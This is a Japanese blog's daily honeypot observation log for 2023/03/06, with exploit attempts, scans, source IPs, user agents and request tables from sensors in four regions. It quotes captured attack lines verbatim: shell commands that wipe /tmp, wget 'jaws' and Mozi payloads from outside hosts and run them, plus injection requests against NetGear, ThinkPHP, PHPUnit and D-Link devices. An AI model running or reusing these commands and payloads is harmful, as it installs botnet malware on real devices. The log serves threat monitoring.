コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/03/06 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2023/03/06分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
masscanによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget botbet.catbbos.fun/jaws;
sh /tmp/jaws
Location:US

Nmap Scripting Engineによるスキャン行為
aiohttpによるスキャン行為
masscanによるスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
212.87.212.168に関する不正通信
5.188.210.227に関する不正通信

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
212.87.212.168に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.gitへのスキャン行為
Laravelへのスキャン行為
212.87.212.168に関する不正通信
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  100.43.163.61/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：356 (前日比：262)
US：総アクセス数：178 (前日比：68)
UK：総アクセス数：87 (前日比：-31)
SG：総アクセス数：101 (前日比：16)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
186 20.24.49.95 United States
73 20.68.180.129 United States
3 35.91.66.167 United States
1 35.178.3.235 United States
1 42.243.167.8 China
19 43.154.141.71 Singapore
1 45.79.181.104 United States
3 45.79.181.223 United States
1 45.134.140.161 United Kingdom
10 52.14.155.125 United States
1 58.56.206.166 China
1 60.221.60.82 China
1 64.62.197.110 United States
1 69.50.93.48 private ip address
1 92.118.39.82 Romania
4 94.102.51.9 United Kingdom
3 95.214.235.205 Ukraine
1 103.178.229.37 Vietnam
1 104.192.0.50 United States
1 109.206.243.235 Bulgaria
2 109.237.97.180 Russia
6 135.125.244.48 France
8 135.125.246.189 France
9 139.162.21.63 Netherlands
1 143.244.50.172 United Kingdom
1 154.47.16.101 United States
1 170.187.196.201 United States
2 172.104.11.4 United States
1 172.104.11.34 United States
1 172.104.11.51 United States
1 172.104.242.173 United States
1 175.107.0.231 Pakistan
6 185.254.196.115 Ukraine
1 192.241.198.16 United States
1 198.235.24.32 United States
1 218.58.136.138 China

UserAgent一覧

件数 UserAgent
13 -
1 Go-http-client/1.1
1 Hello World
5 Hello, world
1 Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]
9 Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
19 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
214 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
9 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
4 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
73 python-requests/2.28.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x16\x03\x01\x01H\x01
10 \x16\x03\x01
4 GET /.aws/credentials HTTP/1.1
1 GET /.docker/.env HTTP/1.1
1 GET /.env.%7B%7BDN%7D%7D HTTP/1.1
1 GET /.env.%7B%7BSD%7D%7D HTTP/1.1
2 GET /.env.backup HTTP/1.1
2 GET /.env.bak HTTP/1.1
2 GET /.env.dev HTTP/1.1
2 GET /.env.example HTTP/1.1
1 GET /.env.local HTTP/1.1
2 GET /.env.php HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production.local HTTP/1.1
1 GET /.env.save HTTP/1.1
1 GET /.env.stage HTTP/1.1
1 GET /.env.test HTTP/1.1
2 GET /.env.www HTTP/1.1
2 GET /.env_1 HTTP/1.1
2 GET /.env_sample HTTP/1.1
30 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /27217262/.env HTTP/1.1
1 GET /Archipel/.env HTTP/1.1
1 GET /ClientApp/.env HTTP/1.1
1 GET /ContainerRegistry/.env HTTP/1.1
4 GET /_profiler/phpinfo HTTP/1.1
1 GET /_static/.env HTTP/1.1
1 GET /account/.env HTTP/1.1
1 GET /actions-server/.env HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
2 GET /admin/.env HTTP/1.1
1 GET /admin/dashboard/info.php HTTP/1.1
1 GET /admin/dashboard/phpinfo.php HTTP/1.1
1 GET /admin/dashboard/phpinfo HTTP/1.1
1 GET /admin/info.php HTTP/1.1
1 GET /admin/infophp.php HTTP/1.1
1 GET /admin/phpinfo.php HTTP/1.1
1 GET /admin/phpinfo HTTP/1.1
1 GET /adminer/.env HTTP/1.1
1 GET /administrator/.env HTTP/1.1
1 GET /administrator/info.php HTTP/1.1
1 GET /administrator/phpinfo.php HTTP/1.1
1 GET /agora/.env HTTP/1.1
1 GET /alpha/.env HTTP/1.1
1 GET /anaconda/.env HTTP/1.1
1 GET /apache.php HTTP/1.1
1 GET /api.php HTTP/1.1
2 GET /api/.env HTTP/1.1
1 GET /api/src/.env HTTP/1.1
1 GET /apis/apps/v1/namespaces/kube-system/daemonsets HTTP/1.1
3 GET /app/.env HTTP/1.1
1 GET /app/client/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /app/config/dev/.env HTTP/1.1
1 GET /app/frontend/.env HTTP/1.1
1 GET /app_dir/.env HTTP/1.1
1 GET /application/.env HTTP/1.1
2 GET /apps/.env HTTP/1.1
1 GET /apps/client/.env HTTP/1.1
1 GET /asset_img/.env HTTP/1.1
1 GET /assets/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /auth/.env HTTP/1.1
1 GET /aws.env HTTP/1.1
3 GET /aws.yml HTTP/1.1
1 GET /awstats/.env HTTP/1.1
2 GET /back/.env HTTP/1.1
3 GET /backend/.env HTTP/1.1
1 GET /backend/src/.env HTTP/1.1
1 GET /backendfinaltest/.env HTTP/1.1
1 GET /backup/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /base_dir/.env HTTP/1.1
1 GET /basic-network/.env HTTP/1.1
1 GET /bgoldd/.env HTTP/1.1
1 GET /bitcoind/.env HTTP/1.1
1 GET /blankon/.env HTTP/1.1
1 GET /blob/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /blogs/.env HTTP/1.1
1 GET /blue/.env HTTP/1.1
1 GET /bookchain-client/.env HTTP/1.1
1 GET /bootstrap/.env HTTP/1.1
1 GET /bucoffea/.env HTTP/1.1
1 GET /build/.env HTTP/1.1
1 GET /cardea/backend/.env HTTP/1.1
1 GET /cdw-backend/.env HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
1 GET /challenge/.env HTTP/1.1
1 GET /challenges/.env HTTP/1.1
1 GET /charts/liveObjects/.env HTTP/1.1
1 GET /chat-client/.env HTTP/1.1
1 GET /chiminey/.env HTTP/1.1
1 GET /cli/.env HTTP/1.1
1 GET /client-app/.env HTTP/1.1
2 GET /client/.env HTTP/1.1
1 GET /client/src/.env HTTP/1.1
1 GET /clld_dir/.env HTTP/1.1
1 GET /collected_static/.env HTTP/1.1
1 GET /community/.env HTTP/1.1
1 GET /conf/.env HTTP/1.1
3 GET /config.js HTTP/1.1
2 GET /config/.env HTTP/1.1
3 GET /config/aws.yml HTTP/1.1
1 GET /console/info.php HTTP/1.1
1 GET /console/phpinfo.php HTTP/1.1
1 GET /content/.env HTTP/1.1
2 GET /core/.env HTTP/1.1
1 GET /core/Datavase/.env HTTP/1.1
1 GET /core/app/.env HTTP/1.1
1 GET /core/persistence/.env HTTP/1.1
1 GET /counterblockd/.env HTTP/1.1
1 GET /counterwallet/.env HTTP/1.1
2 GET /cp/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /cron/.env HTTP/1.1
1 GET /cronlab/.env HTTP/1.1
1 GET /cryo_project/.env HTTP/1.1
1 GET /css/.env HTTP/1.1
1 GET /custom/.env HTTP/1.1
1 GET /d/.env HTTP/1.1
1 GET /dashboard/admin/info.php HTTP/1.1
1 GET /dashboard/admin/phpinfo.php HTTP/1.1
1 GET /dashboard/admin/phpinfo HTTP/1.1
1 GET /dashboard/info.php HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /dashboard/phpinfo HTTP/1.1
1 GET /dashboard/test.php HTTP/1.1
1 GET /dashboardadmin/info.php HTTP/1.1
1 GET /dashboardadmin/phpinfo.php HTTP/1.1
1 GET /dashboardadmin/phpinfo HTTP/1.1
1 GET /data/.env HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /dependencies/.env HTTP/1.1
1 GET /deploy.php HTTP/1.1
1 GET /deployment/.env HTTP/1.1
1 GET /dev.php HTTP/1.1
1 GET /dev/.env HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /docs/.env HTTP/1.1
1 GET /document/.env HTTP/1.1
1 GET /download/.env HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /engine/.env HTTP/1.1
1 GET /env/phpinfo HTTP/1.1
1 GET /facs/.env HTTP/1.1
1 GET /foo.php HTTP/1.1
1 GET /forum/info.php HTTP/1.1
1 GET /forum/phpinfo.php HTTP/1.1
1 GET /framework/.env HTTP/1.1
1 GET /frontend/.env HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /i.php HTTP/1.1
1 GET /in.php HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index1.php HTTP/1.1
1 GET /inf.php HTTP/1.1
4 GET /info.php HTTP/1.1
1 GET /info1.php HTTP/1.1
1 GET /info2.php HTTP/1.1
1 GET /info3.php HTTP/1.1
1 GET /info4.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /infophp/index.php HTTP/1.1
1 GET /infophp/testphp.php HTTP/1.1
1 GET /information.php HTTP/1.1
1 GET /information HTTP/1.1
1 GET /infos.php HTTP/1.1
1 GET /ini.php HTTP/1.1
1 GET /laravel-artisa/.env HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /login/.env HTTP/1.1
1 GET /main/.env HTTP/1.1
1 GET /master/.env HTTP/1.1
1 GET /o.php HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /p.php HTTP/1.1
1 GET /personal/.env HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php-info HTTP/1.1
1 GET /php.ini HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php/phpinfo.php HTTP/1.1
1 GET /php1.php HTTP/1.1
1 GET /php_details HTTP/1.1
1 GET /php_info.php HTTP/1.1
1 GET /phpdetails HTTP/1.1
1 GET /phpinfo.html HTTP/1.1
5 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo.txt HTTP/1.1
1 GET /phpinfo/info.php HTTP/1.1
1 GET /phpinfo/php-details.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
1 GET /phpinfo1.php HTTP/1.1
1 GET /phpinfo2.php HTTP/1.1
1 GET /phpinfo3.php HTTP/1.1
4 GET /phpinfo HTTP/1.1
1 GET /phpinformation HTTP/1.1
1 GET /phpinfos.php HTTP/1.1
1 GET /phptest.php HTTP/1.1
1 GET /phpversion.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /project/.env HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /rest.php HTTP/1.1
1 GET /rest/.env HTTP/1.1
1 GET /root/info.php HTTP/1.1
1 GET /root/infophp HTTP/1.1
1 GET /root/phpinfo.php HTTP/1.1
1 GET /scripts/index.php HTTP/1.1
1 GET /scripts/info.php HTTP/1.1
1 GET /scripts/phpinfo.php HTTP/1.1
1 GET /scripts/phpinfo HTTP/1.1
1 GET /search/.env HTTP/1.1
1 GET /sendgrid.env HTTP/1.1
1 GET /server/.env HTTP/1.1
1 GET /service/.env HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shared/.env HTTP/1.1
4 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+botbet[.]catbbos[.]fun/jaws;sh+/tmp/jaws HTTP/1.1
4 GET /sports/prematch HTTP/1.0
1 GET /system/.env HTTP/1.1
1 GET /temp.php HTTP/1.1
1 GET /test.php HTTP/1.1
1 GET /test1.php HTTP/1.1
1 GET /test2.php HTTP/1.1
1 GET /test3.php HTTP/1.1
1 GET /test4.php HTTP/1.1
1 GET /testphp.php HTTP/1.1
1 GET /token.php HTTP/1.1
1 GET /tools/info.php HTTP/1.1
1 GET /tools/phpinfo.php HTTP/1.1
1 GET /tools/phpinfo HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vod_installer/.env HTTP/1.1
1 GET /vue/.env HTTP/1.1
1 GET /web/.env HTTP/1.1
1 GET /webdav/phpinfo.php HTTP/1.1
1 GET /website/.env HTTP/1.1
1 GET /yuuki?pp=env HTTP/1.1
19 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.188.210.227 Russia
4 8.18.50.101 United States
86 20.240.42.4 United States
1 45.79.128.205 United States
1 45.79.181.94 United States
1 45.79.181.179 United States
1 45.79.181.223 United States
1 45.79.181.251 United States
19 45.81.233.254 Germany
20 54.37.79.75 France
3 92.118.39.82 Romania
6 94.102.51.9 United Kingdom
1 102.165.48.64 South Africa
1 123.8.54.235 China
1 142.147.97.185 Canada
1 143.244.50.172 United Kingdom
3 167.99.95.83 United States
2 172.104.11.34 United States
1 172.104.11.51 United States
3 172.104.249.106 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
1 176.113.115.168 Russia
1 179.60.147.13 Belize
4 185.225.74.130 Bulgaria
1 185.246.220.98 Bulgaria
7 185.254.196.223 Ukraine
1 192.155.90.118 United States
1 192.227.173.18 United States
1 195.178.120.37 Bulgaria
1 198.199.113.196 United States
1 209.141.36.112 United States

UserAgent一覧

件数 UserAgent
42 -
3 Hello World
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
85 Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
27 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
1 Python/3.7 aiohttp/3.7.4.post0
6 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
1 python-requests/2.18.4
4 python-requests/2.28.2
1 xxx

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_34.68.118.83_80\n
2 \x03
13 \x16\x03\x01
1 \x16\x03
23 CONNECT 212[.]87[.]212[.]168:4444 HTTP/1.1
1 GET /%20admin/.flaskenv HTTP/1.1
1 GET /%20config/.flaskenv HTTP/1.1
1 GET /.env.1 HTTP/1.1
1 GET /.env.2 HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.stag HTTP/1.1
1 GET /.env.stg HTTP/1.1
1 GET /.env.suspected HTTP/1.1
1 GET /.env_1 HTTP/1.1
1 GET /.env_2 HTTP/1.1
29 GET /.env HTTP/1.1
4 GET /.git/config HTTP/1.1
1 GET //.aws/credentials HTTP/1.1
1 GET //.env.1 HTTP/1.1
1 GET //.env.bak HTTP/1.1
1 GET //.env.dev HTTP/1.1
1 GET //.env.example.1 HTTP/1.1
1 GET //.env.example.suspected HTTP/1.1
1 GET //.env.example HTTP/1.1
1 GET //.env.save HTTP/1.1
1 GET //.env.suspected HTTP/1.1
1 GET //.env.txt HTTP/1.1
1 GET //.env1 HTTP/1.1
1 GET //.env2 HTTP/1.1
1 GET //.env_bak HTTP/1.1
1 GET //.env_old HTTP/1.1
1 GET //.env HTTP/1.1
1 GET //.env~ HTTP/1.1
1 GET //.flaskenv HTTP/1.1
1 GET //_profiler/info.php HTTP/1.1
1 GET //_profiler/info HTTP/1.1
1 GET //_profiler/phpinfo.php HTTP/1.1
1 GET //_profiler/phpinfo HTTP/1.1
1 GET // HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //api/.flaskenv HTTP/1.1
2 GET //app/.env HTTP/1.1
2 GET //app/.flaskenv HTTP/1.1
1 GET //assets/.env HTTP/1.1
1 GET //aws[.]yml HTTP/1.1
1 GET //backend/.env HTTP/1.1
1 GET //backup/.env HTTP/1.1
1 GET //build/.env HTTP/1.1
1 GET //config/.env HTTP/1.1
1 GET //config/aws.yml HTTP/1.1
1 GET //config[.]py HTTP/1.1
2 GET //core/.env HTTP/1.1
1 GET //data/.env HTTP/1.1
1 GET //dev/.env HTTP/1.1
1 GET //dev/.flaskenv HTTP/1.1
1 GET //developer/.env HTTP/1.1
1 GET //docs/.env HTTP/1.1
1 GET //env/.env HTTP/1.1
1 GET //env[.]txt HTTP/1.1
1 GET //info[.]php HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //phpinfo[.]php HTTP/1.1
1 GET //phpinfo HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET //settings[.]py HTTP/1.1
1 GET //staging2/.env.example HTTP/1.1
1 GET //staging2/.env HTTP/1.1
1 GET //v1/.env.example HTTP/1.1
1 GET //v1/.env HTTP/1.1
1 GET //v1/.flaskenv HTTP/1.1
1 GET //v2/.env.example HTTP/1.1
1 GET //v2/.env HTTP/1.1
1 GET //v2/.flaskenv HTTP/1.1
1 GET //web/.env HTTP/1.1
1 GET //web/.flaskenv HTTP/1.1
1 GET /9qPb HTTP/1.1
1 GET /HuVJ HTTP/1.1
1 GET /_profiler/.flaskenv HTTP/1.1
1 GET /app.py HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
3 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /config.py HTTP/1.1
1 GET /env/.flaskenv HTTP/1.1
1 GET /envprod.txt HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /flask/.env HTTP/1.1
1 GET /index.php/.env.example HTTP/1.1
1 GET /index.php/.env HTTP/1.1
1 GET /index.php/.flaskenv HTTP/1.1
1 GET /index.php/info.php HTTP/1.1
1 GET /index.php/phpinfo.php HTTP/1.1
1 GET /index.php/phpinfo HTTP/1.1
6 GET /sports/prematch HTTP/1.0
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /api/v0/id HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.81.199.150 China
1 8.18.50.170 United States
1 39.81.253.0 China
1 45.79.181.179 United States
3 45.79.181.223 United States
1 45.79.181.251 United States
25 51.79.29.48 Canada
2 65.49.20.68 United States
1 66.240.192.82 United States
2 92.118.39.82 Romania
1 107.170.243.13 United States
1 109.206.240.138 Bulgaria
2 109.237.97.180 Russia
1 120.85.94.100 China
1 134.122.184.11 Singapore
1 143.244.50.172 United Kingdom
11 152.89.196.211 Russia
3 159.223.186.18 United States
1 163.204.219.247 China
2 167.94.146.58 United States
2 172.104.11.34 United States
1 172.104.11.46 United States
2 172.104.11.51 United States
1 179.43.177.242 Panama
1 179.60.147.13 Belize
1 179.60.149.8 Panama
3 185.246.220.98 Bulgaria
8 185.254.196.223 Ukraine
1 192.155.90.118 United States
1 192.155.90.220 United States
1 192.241.198.31 United States
1 195.178.120.37 Bulgaria
1 205.210.31.8 United States
1 211.237.4.60 South Korea

UserAgent一覧

件数 UserAgent
25 -
2 Hello World
1 Hello, World
2 Hello, world
1 Mozila/5.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
34 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
5 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
1 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_132.145.66.34_80\n
2 \x03
1 \x16\x03\x01\x01H\x01
16 \x16\x03\x01
1 CONNECT 212[.]87[.]212[.]168:4444 HTTP/1.1
34 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
2 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /manager/html HTTP/1.1
2 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vod-178809.html HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
5 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 8.18.50.101 United States
1 8.20.126.47 United States
1 45.79.128.205 United States
2 45.79.181.94 United States
2 45.79.181.223 United States
1 45.79.181.251 United States
9 45.81.233.254 Germany
1 45.128.232.112 Bulgaria
22 54.37.79.75 France
1 64.62.197.220 United States
1 64.62.197.225 United States
3 64.227.144.123 United States
1 66.240.192.82 United States
1 66.240.205.34 United States
1 69.50.93.48 private ip address
1 92.118.39.82 Romania
1 103.90.160.131 India
1 103.179.10.167 India
1 109.206.240.138 Bulgaria
2 109.237.97.180 Russia
1 139.224.207.235 China
1 143.244.50.172 United Kingdom
4 152.89.196.211 Russia
2 162.142.125.7 United States
2 162.142.125.213 United States
18 162.243.186.177 United States
2 172.104.11.46 United States
1 172.104.11.51 United States
1 175.107.13.119 Pakistan
1 179.43.177.242 Panama
2 183.136.225.32 China
1 185.246.220.98 Bulgaria
2 192.155.90.118 United States
1 192.155.90.220 United States
1 192.241.195.57 United States
1 195.178.120.37 Bulgaria
1 198.199.111.139 United States
1 198.235.24.33 United States
1 218.21.168.98 China
1 218.58.136.138 China
1 223.13.125.214 China

UserAgent一覧

件数 UserAgent
39 -
18 Go-http-client/1.1
1 Hello World
3 Hello, world
1 Mozila/5.0
1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
23 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 -
2 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 Gh0st\xad
1 HELP
1 MGLNDD_13.67.44.234_80
1 \x16\x03\x01\x01H\x01
17 \x16\x03\x01
12 CONNECT 212[.]87[.]212[.]168:4444 HTTP/1.1
1 CONNECT cipicaoadminpanel[.]xyz:443 HTTP/1.1
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
24 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
